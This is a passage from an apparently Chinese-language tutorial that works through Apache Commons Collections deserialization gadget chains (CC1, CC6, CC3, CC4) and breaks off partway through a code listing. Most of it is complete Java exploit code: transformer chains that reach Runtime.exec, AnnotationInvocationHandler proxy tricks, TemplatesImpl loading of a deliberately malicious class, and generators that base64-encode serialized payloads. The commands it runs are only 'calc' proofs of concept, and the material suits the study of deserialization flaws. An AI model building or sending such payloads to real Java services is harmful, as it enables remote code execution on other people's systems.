也就是说我们,这里通过chainedTransformer.Transformer 去调用 ConstantTransformer.Transformer 这里返回了一个Runtime.class,也正是下面的开始,所以才正式开始利用
最终代码
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("value","value");
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer); Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class); aihClassDeclaredConstructor.setAccessible(true); Object o = aihClassDeclaredConstructor.newInstance(Target.class, decorate);
serialize(o); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
这里也是可以看到我们由于调用的ConstantTransformer()的Transformer()所以返回回来的值有了改变
流程图
base64版
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class urldnsre { public static void main(String[] args) throws Exception{
Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("value","value"); Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class, decorate);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o);
byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s);
Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject();
}
}
|
cc1(二)
先看看它咋调用的
可以看到LazyMap后面的都是一样的
这里的get调用了transform()
可见这里的invoke调用了get方法,并且这里的memberValue可以控制,而且invoke在动态代理的时候,无论外面调用什么方法都会执行invoke方法.
这里原链是通过的AnnotationInvocationHandler.java 的readObject方法作为初始点,通过将memberValues赋值为AnnotationInvocationHandler的动态代理对象(LazyMapProxy)去调用entrySet(),既然memberValues是一个代理对象(LazyMapProxy),那么如果不管调用LazyMap的什么方法都会执行AnnotationInvocationHandler的invoke方法(理解了吗?)
public class ProxyHandler implements InvocationHandler{ private Object object; public ProxyHandler(Object object){ this.object = object; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("Before invoke " + method.getName()); method.invoke(object, args); System.out.println("After invoke " + method.getName()); return null; } }
public static void main(String[] args) { System.getProperties().setProperty("sun.misc.ProxyGenerator.saveGeneratedFiles", "true"); HelloInterface hello = new Hello(); InvocationHandler handler = new ProxyHandler(hello); HelloInterface proxyHello = (HelloInterface) Proxy.newProxyInstance(hello.getClass().getClassLoader(), hello.getClass().getInterfaces(), handler); proxyHello.sayHello(); }
|
对比一下
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
public Object invoke(Object proxy, Method method, Object[] args) { } }
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler); Object o = declaredConstructor.newInstance(Override.class, mapProxy);
|
其实这个AnnotationInvocationHandler类就很像我们自己写的ProxyHandler.
这里为啥要用这个entrySet()
这里可以看到不能调用member的equals方法,不然就直接return了,还有就是paramTypes.length不能等于零,不然就抛出异常了
真的搞不懂为什么可以执行反序列化,但是invoke打断点就是进不去 最后将这两个选项去掉才可以
最终代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC6Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class); aihClassDeclaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aihClassDeclaredConstructor.newInstance(Override.class, decorate);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = aihClassDeclaredConstructor.newInstance(Override.class, mapProxy);
serialize(o); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
我们再次捋一下
AnnotationInvocationHandler的readObject() 执行了 AnnotationInvocationHandler代理类的entrySet()方法,而当我们去执行代理类中的方法时会导致执行AnnotationInvocationHandler中的invoke方法
接着走到LazyMap的get去
又因为这里的map中不包含这个key
接着就会去执行ConstantTransformer()的transform()
cc6
Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
|
这里可以看到TiedMapEntry调用了map.get()与上一条链的LazyMap.get相似
这里可以看到TiedMapEntry的hashCode调用了getValue
这里的getValue调用了map.get,而这里的map是我们可控的,那么我们可以将它赋值为LazyMap
也许你已经想到了哪里会有反序列化的入口
就是这里
只需要将key赋值成tiedMapEntry就可以了
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "aaa");
HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
objectObjectHashMap1.put(tiedMapEntry,"bbb");
serialize(objectObjectHashMap1);
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
根据urldns的经验可以发现在serilize就会执行了,我们需要去更改一下 而且这里并不能正常序列化
我们这里更改LazyMap,这里可以看到这个factory是一个transformer 所以我们可以给他赋值为一个ConstantTransformer
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>(); objectObjectHashMap1.put(tiedMapEntry,"bbb");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
这里之后序列化不执行了,反序列化也不执行
调一下
下面是关键,由于我们在put之后这里的key就有值了.所以也就不会去执行transform(key),也就是在put之后我们需要将key删除
最终代码
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>(); objectObjectHashMap1.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
serialize(objectObjectHashMap1); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class urldnsre { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> o = new HashMap<>(); o.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa"); Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,chainedTransformer);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o);
byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s);
Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|
cc3
->AnnotationInvocationHandler.readObject() ->mapProxy.entrySet().iterator() //动态代理类 ->AnnotationInvocationHandler.invoke() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InstantiateTransformer.transform() ->TrAXFilter.TrAXFilter() ->TemplatesImpl.newTransformer() ->…………
|
我们从ClassLoader中的defineClass开始寻找那个defineClass是公有的
找到了这个 这个是defalut接着找这个
这里找到一个私有的,我们接着去找那里变成公有了
这里变成了公有
所以我们已经可以知道从TemplatesImpl类我们就可以自己加载一个类了
先写一个恶意的Test.java
package org.example;
import java.io.IOException;
public class Test { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true);
byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class")); byte [][] codes = {code}; bytecodes.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer(); } }
|
defineTransletClasses方法中的_auxClasses这里是空的如果执行else之后就会爆空指针方法
这里要执行if语句就需要superCLass.getName().等于常量
superClass.getName()根据字面意思也可以理解出来就是superClass.getName()获取父类的类名
所以我们自己自定义的恶意类需要继承继承一下这个常量
实现方法
我们使用InvokerTransformer去执行
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true);
byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class")); byte [][] codes = {code}; bytecodes.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("value","value");
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer); Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class); aihClassDeclaredConstructor.setAccessible(true); Object o = aihClassDeclaredConstructor.newInstance(Target.class, decorate);
serialize(o); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
我们在来看看cc3这里还能怎么写
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field name = templatesClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = templatesClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true);
byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class")); byte [][] codes = {code}; bytecodes.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
这里发现也可以执行按照TemplatesImpl类的逻辑应该是templates去调用newTransformer().而这里可以看到使用了TrAXFilter类的构造方法中的newTransformer()
接着我们又找到了InstantiateTransformer类的transform()方法,这里先通过getConstructor(iParamTypes)获取了TrAXFilter类的构造方法,接着又调用了newInstance()并传入了一个templates对象,也就是我们已经构造好的对象 接着来到input这里我们存放的是我们需要获取那个类的构造方法
简单理解一下InstantiateTransformer构造方法的两个参数,第一个参数是用于获取一个TrAXFilter构造方法的参数类 第二个则是构造方法的参数
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class urldnsre { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class")); byte[][] codes = {code}; bytecodes.set(templates, codes);
Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = aClass1.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decorate);
Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler); Object o1 = constructor.newInstance(Override.class, map);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o1);
byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s);
Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|
cc4
->PriorityQueue.readObject() ->PriorityQueue.heapify() ->PriorityQueue.siftDown() ->PriorityQueue.siftDownUsingComparator() ->TransformingComparator.compare() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InstantiateTransformer.transform() ->TrAXFilter.TrAXFilter() ->TemplatesImpl.newTransformer() ->…………
|
添加依赖
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|
我们这里使用的是PriorityQueue类的readObject方法
可以看到这里的queue是一个数组
heapify()
接着我们反过来写,首先看到TransformingComparator类的构造方法中.可以看到这里的构造方法首先是一个参数的去调用两个参数的给transformer赋值了
这里是PriorityQueue类的构造方法,在这里我们需要给comparator赋值为我们创建的TransformingComparator
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue;
public class urldnsre { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class")); byte[][] codes = {code}; bytecodes.set(templates, codes);
Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue);
byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s);
Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(s);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|
写成这样之后我们尝试一下,发现这里的size是0也就无法接着走
这里也很容易发现这个size使用来计数的 需要注意的是这里的size >>> 1 表示的是size除以2 也就是需要两个size才能进入
我们只需要调用add去添加数值就可以增加size
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue;
public class urldnsre { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Data\\secquan\\exp\\cc\\target\\classes\\org\\example\\Testre.class")); byte[][] codes = {code}; bytecodes.set(templates, codes);
Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
